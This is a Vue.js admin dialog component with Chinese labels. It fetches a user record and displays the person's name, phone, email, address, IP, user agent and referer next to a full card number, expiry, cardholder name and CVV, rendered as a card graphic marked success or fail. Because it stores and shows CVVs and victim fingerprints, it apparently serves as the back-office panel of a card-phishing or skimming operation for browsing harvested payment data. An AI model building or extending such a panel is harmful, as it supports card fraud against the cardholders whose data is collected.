<template>
  <zm-dialog
    :title="title"
    :visible.sync="value"
    append-to-body
    size="large"
    :before-close="dialogClose"
    :close-on-click-modal="false"
  >
    <el-row>
      <el-col :span="12">
        <div class="grid-content">
          <div class="header">订单信息</div>
          <table class="info-table">
            <tr>
              <td width="75">
                <div>商品名称</div>
              </td>
              <td colspan="3">
                <div
                  class="el-tooltip item-name item"
                  aria-describedby="el-tooltip-7149"
                  tabindex="0"
                >
                  {{ form.itemName }}
                </div>
              </td>
            </tr>
            <tr>
              <td><div>商品价格</div></td>
              <td colspan="3">
                <div>{{ form.price }}</div>
              </td>
            </tr>
            <tr>
              <td width="50">
                <div>姓名</div>
              </td>
              <td colspan="3">
                <div>{{ `${form.firstName} ${form.lastName}` }}</div>
              </td>
            </tr>
            <tr>
              <td width="50">
                <div>手机</div>
              </td>
              <td>
                <div>{{ form.phone }}</div>
              </td>
            </tr>
            <tr>
              <td width="45">
                <div>邮箱</div>
              </td>
              <td colspan="">
                <div>{{ form.email }}</div>
              </td>
            </tr>
            <tr class="ua-tr">
              <td width="75">
                <div>Referer</div>
              </td>
              <td colspan="3">
                <div>{{ form.refUrl }}</div>
              </td>
            </tr>
            <tr>
              <td><div>创建时间</div></td>
              <td colspan="3">
                <div>{{ form.creatTime }}</div>
              </td>
            </tr>
          </table>
        </div>
        <div class="grid-content">
          <div class="header">卡信息</div>
          <table class="info-table">
            <tr>
              <td width="75">
                <div>卡号</div>
              </td>
              <td colspan="3">
                <div>{{ form.cardNumber }}</div>
              </td>
            </tr>
            <tr>
              <td><div>卡主姓名</div></td>
              <td>
                <div>{{ form.cardName }}</div>
              </td>
              <td width="60">
                <div>有效期</div>
              </td>
              <td>
                <div>{{ form.cardDate }}</div>
              </td>
            </tr>
            <tr>
              <td><div>CVV</div></td>
              <td>
                <div>{{ form.cvv }}</div>
              </td>
              <td><div>ZIP</div></td>
              <td>
                <div>{{ form.zip }}</div>
              </td>
            </tr>
            <tr>
              <td><div>类型</div></td>
              <td colspan="3">
                <div>{{ form.cardType }}</div>
              </td>
            </tr>
            <tr>
              <td><div>发卡机构</div></td>
              <td colspan="3">
                <div>{{ form.cardScheme }}</div>
              </td>
            </tr>
            <tr>
              <td><div>国家</div></td>
              <td colspan="3">
                <div>{{ form.cardCountry }}</div>
              </td>
            </tr>
            <tr>
              <td><div>等级</div></td>
              <td colspan="3">
                <div>{{ form.cardBrand }}</div>
              </td>
            </tr>
            <tr>
              <td><div>银行</div></td>
              <td colspan="3">
                <div>{{ form.cardBank }}</div>
              </td>
            </tr>
          </table>
        </div>
      </el-col>
      <el-col :span="12">
        <div class="grid-content" style="padding-bottom: 10px">
          <div class="header">详细信息</div>
          <table class="info-table">
            <tr>
              <td width="50">
                <div>国家</div>
              </td>
              <td>
                <div>{{ form.country }}</div>
              </td>
              <td width="50">
                <div>地区</div>
              </td>
              <td>
                <div>{{ form.state }}</div>
              </td>
            </tr>
            <tr>
              <td width="50">
                <div>城市</div>
              </td>
              <td>
                <div>{{ form.city }}</div>
              </td>
              <td width="50">
                <div>邮编</div>
              </td>
              <td>
                <div>{{ form.zip }}</div>
              </td>
            </tr>
            <tr>
              <td width="">
                <div>地址1</div>
              </td>
              <td colspan="3">
                <div>{{ form.address1 }}</div>
              </td>
            </tr>
            <tr>
              <td width="">
                <div>地址2</div>
              </td>
              <td colspan="3">
                <div>{{ form.address2 }}</div>
              </td>
            </tr>
            <tr>
              <td><div>IP</div></td>
              <td colspan="3">
                <div>{{ form.ip }}</div>
              </td>
            </tr>
            <tr class="ua-tr">
              <td width="75">
                <div>Browser</div>
              </td>
              <td colspan="3">
                <div class="ua-class">
                  {{ form.userAgent }}
                </div>
              </td>
            </tr>
          </table>
        </div>
        <div class="grid-content" style="padding-bottom: 10px">
          <div class="header">银行卡</div>
          <div class="bank_card" :class="form.status===200 ? 'bank_card_success' : 'bank_card_fail'">
            <img src="@/assets/images/card_bg.png" alt="" class="card_img" />
            <div class="bank_card_top">
              <img
                src="@/assets/images/chip.png"
                alt=""
                class="bank_card_limg"
              /><!----><!----><!----><!---->
              <img
                :src="this.logoList[cardLogo]"
                alt=""
                class="bank_card_rimg"
                :class="cardLogo"
              /><!---->
            </div>
            <div class="bank_card_center">{{form.cardNumber}}</div>
            <div class="bank_card_footer">
              <div class="bank_card_lfooter">
                <div class="bank_card_tit">Card Holder</div>
                <div class="bank_card_desc">{{form.cardName}}</div>
              </div>
              <div class="bank_card_rfooter">
                <div class="bank_card_vcc">
                  <div class="bank_card_tit">CVV</div>
                  <div class="bank_card_desc">{{form.cvv}}</div>
                </div>
                <div>
                  <div class="bank_card_tit">Expires</div>
                  <div class="bank_card_desc">{{form.cardDate}}</div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </el-col>
    </el-row>
    <div slot="footer">
      <el-button @click="dialogClose">关闭</el-button>
    </div>
  </zm-dialog>
</template>
<script>
import dialogMixin from "@/mixins/dialogMixin";
import { getDyUserinfo } from "@/api/system/dyUserinfo";
import visa from "@/assets/images/visa.png";
import master from "@/assets/images/master.png";
import discover from "@/assets/images/discover.png";
import american from "@/assets/images/american.jpg";
import { findCardType } from "../const.js";
export default {
  name: "detail",
  mixins: [dialogMixin],
  data() {
    return {
      logoList: {
        visa,
        master,
        discover,
        american,
      },
      form: {},
    };
  },
  mounted() {
    this.getInfo();
  },
  computed: {
    cardLogo() {
      const type = this.form.cardScheme
        ? this.form.cardScheme.toUpperCase().split(",")[0]
        : "--";
      const cardType = findCardType(type) || "";
      return cardType;
    },
  },
  methods: {
    async getInfo() {
      const res = await getDyUserinfo(this.obj.id);
      this.form = res.data;
    },
  },
};
</script>
<style lang="scss" scoped>
.radio-label {
  font-size: 14px;
  color: #606266;
  line-height: 40px;
  padding-right: 10px;
}

.ml-10 {
  margin-left: 10px;
}

.filter-container {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: justify;
  -ms-flex-pack: justify;
  justify-content: space-between;
}

.card_active_index span {
  color: #67c23a !important;
  -webkit-text-decoration-color: #67c23a !important;
  text-decoration-color: #67c23a !important;
  font-weight: 600;
}

.card {
  cursor: pointer;
}

.card span {
  text-decoration: underline;
  -webkit-text-decoration-color: #999;
  text-decoration-color: #999;
}

.card .card_type {
  text-decoration: none;
}

.card .success {
  -webkit-text-decoration-color: #f56c6c !important;
  text-decoration-color: #f56c6c !important;
  color: #f56c6c !important;
  font-weight: 600 !important;
}

.card:hover {
  color: #67c23a;
}

.grid-content {
  margin: 5px;
  border: none;
  position: relative;
  padding: 25px 20px 20px 20px;
}

.grid-content .header {
  font-size: 18px;
  background: #fff;
  position: absolute;
  top: -10px;
  margin: 0 10px;
  width: 88%;
  border-bottom: 1px solid #f2f2f2;
  padding-bottom: 10px;
  color: #333;
  font-weight: 500;
  text-shadow: 3px 2px 5px rgba(0, 0, 0, 0.3);
}

.grid-content:first-child {
  margin-bottom: 15px;
}

.dialog-header .el-dialog__header {
  padding: 15px 20px;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: justify;
  -ms-flex-pack: justify;
  justify-content: space-between;
  -webkit-box-align: center;
  -ms-flex-align: center;
  align-items: center;
}

.dialog-header .el-dialog__header .el-dialog__title {
  color: #fff;
  font-size: 16px;
}

.info-table {
  border-collapse: collapse;
  border-spacing: 0;
  width: 100%;
}

.info-table td {
  word-break: break-all;
  word-wrap: break-word;
  border-width: 0;
  border-style: solid;
  border-color: #e3e3e3;
  margin: 0;
  padding: 0;
}

.info-table div {
  padding: 8px 10px;
  font-size: 13px;
}

.info-table .ua-class {
  line-height: 15px;
  font-size: 12px;
}

.info-table .item-name {
  width: 330px;
  overflow: hidden;
  white-space: nowrap;
  text-overflow: ellipsis;
  cursor: pointer;
}

.el-tag {
  height: 26px;
  line-height: 25px;
}

.bank_card {
  background: #551eb0;
  height: 247px;
  border-radius: 15px;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  padding: 20px;
  color: #fff;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -ms-flex-direction: column;
  flex-direction: column;
  -webkit-box-pack: justify;
  -ms-flex-pack: justify;
  justify-content: space-between;
  -webkit-box-shadow: 0 2px 12px 1px rgba(0, 0, 0, 0.9);
  box-shadow: 0 2px 12px 1px rgba(0, 0, 0, 0.9);
  z-index: 10;
  overflow: hidden;
  margin-top: 15px;
  &.bank_card_success{
    background: rgb(0, 0, 0);
  }
}

.bank_card,
.bank_card > div {
  position: relative;
}

.bank_card .card_img {
  position: absolute;
  left: 0;
  top: 0;
  width: 100%;
  height: 100%;
  border-radius: 15px;
  display: none;
}

.bank_card .bank_card_top {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: justify;
  -ms-flex-pack: justify;
  justify-content: space-between;
  -webkit-box-align: center;
  -ms-flex-align: center;
  align-items: center;
}

.bank_card .bank_card_top .bank_card_limg {
  width: 48px;
}

.bank_card .bank_card_top .bank_card_rimg {
  &.discover {
    width: 100px;
  }
  width: 62px;
}

.bank_card .bank_card_top .bank_card_master {
  width: 60px;
}

.bank_card .bank_card_top .bank_card_amex {
  width: 85px;
  -ms-flex-item-align: start;
  align-self: flex-start;
  position: relative;
  top: 3px;
}

.bank_card .bank_card_top .bank_card_discover {
  width: 100px;
  -ms-flex-item-align: start;
  align-self: flex-start;
  position: relative;
  top: 5px;
}

.bank_card .bank_card_top .bank_card_jcb {
  width: 58px;
  height: 40px;
}

.bank_card .bank_card_top .bank_card_dci {
  width: 55px;
}

.bank_card .bank_card_center {
  font-size: 27px;
  font-weight: 600;
  text-align: center;
  letter-spacing: 3px;
}

.bank_card .bank_card_footer {
  -webkit-box-pack: justify;
  -ms-flex-pack: justify;
  justify-content: space-between;
  padding: 0 15px;
}

.bank_card .bank_card_footer,
.bank_card .bank_card_footer .bank_card_rfooter {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
}

.bank_card .bank_card_footer .bank_card_rfooter .bank_card_vcc {
  padding-right: 25px;
}

.bank_card .bank_card_footer .bank_card_tit {
  font-size: 13px;
  opacity: 0.3;
  font-weight: 700;
  font-family: 'Source Code Pro', monospace;
}

.bank_card .bank_card_footer .bank_card_desc {
  font-size: 18px;
  font-weight: 600;
  padding-top: 6px;
  text-transform: uppercase;
  font-family: 'Source Code Pro', monospace;
}

.account {
  color: #333;
  cursor: pointer;
}

.account:hover {
  color: #67c23a;
  font-size: 15px;
}

.operate {
  color: #f37b1d;
  font-weight: 500;
}

.cu-progress.striped {
  background-image: linear-gradient(
    45deg,
    hsla(0, 0%, 100%, 0.15) 25%,
    transparent 0,
    transparent 50%,
    hsla(0, 0%, 100%, 0.15) 0,
    hsla(0, 0%, 100%, 0.15) 75%,
    transparent 0,
    transparent
  );
  background-size: 36px 36px;
}

.cu-progress.active {
  -webkit-animation: progress-stripes 2s linear infinite;
  animation: progress-stripes 2s linear infinite;
}

@-webkit-keyframes progress-stripes {
  0% {
    background-position: 36px 0;
  }

  to {
    background-position: 0 0;
  }
}

@keyframes progress-stripes {
  0% {
    background-position: 36px 0;
  }

  to {
    background-position: 0 0;
  }
}

.process {
  font-size: 12px;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: center;
  -ms-flex-align: center;
  align-items: center;
  -webkit-box-pack: center;
  -ms-flex-pack: center;
  justify-content: center;
  border-radius: 20px;
  font-family: sans-serif;
}

.dialog-header .el-dialog__body {
  padding: 25px 5px 0;
}

.one-click {
  position: absolute;
  right: 36px;
  bottom: 47px;
}

.waves-ripple {
  position: absolute;
  border-radius: 100%;
  background-color: rgba(0, 0, 0, 0.15);
  background-clip: padding-box;
  pointer-events: none;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  -webkit-transform: scale(0);
  transform: scale(0);
  opacity: 1;
}

.waves-ripple.z-active {
  opacity: 0;
  -webkit-transform: scale(2);
  transform: scale(2);
  -webkit-transition: opacity 1.2s ease-out, -webkit-transform 0.6s ease-out;
  transition: opacity 1.2s ease-out, -webkit-transform 0.6s ease-out;
  transition: opacity 1.2s ease-out, transform 0.6s ease-out;
  transition: opacity 1.2s ease-out, transform 0.6s ease-out,
    -webkit-transform 0.6s ease-out;
}

.filter-container-left .pl-sx .el-select .el-input__inner {
  width: 150px;
}

.filter-container-left .pl-sx .el-select:first-child {
  margin-left: 0 !important;
}

.filter-container-left .pl-sx .el-select:first-child .el-input__inner {
  width: 280px;
}
</style>
